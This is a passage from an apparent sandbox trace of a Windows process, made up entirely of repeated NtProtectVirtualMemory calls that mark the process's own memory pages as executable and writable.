BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.407] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.418] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.439] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.457] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.488] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.506] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.526] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.554] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.573] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.669] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.700] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.748] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.762] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.818] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.828] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.850] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.881] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.910] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.920] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.931] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.973] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0308.985] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.023] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.050] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.060] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.070] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.081] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.097] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.118] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.146] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.194] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.204] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.215] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.303] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.314] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.396] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.410] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.421] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.439] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.463] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.491] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.502] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.523] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.562] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.590] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, 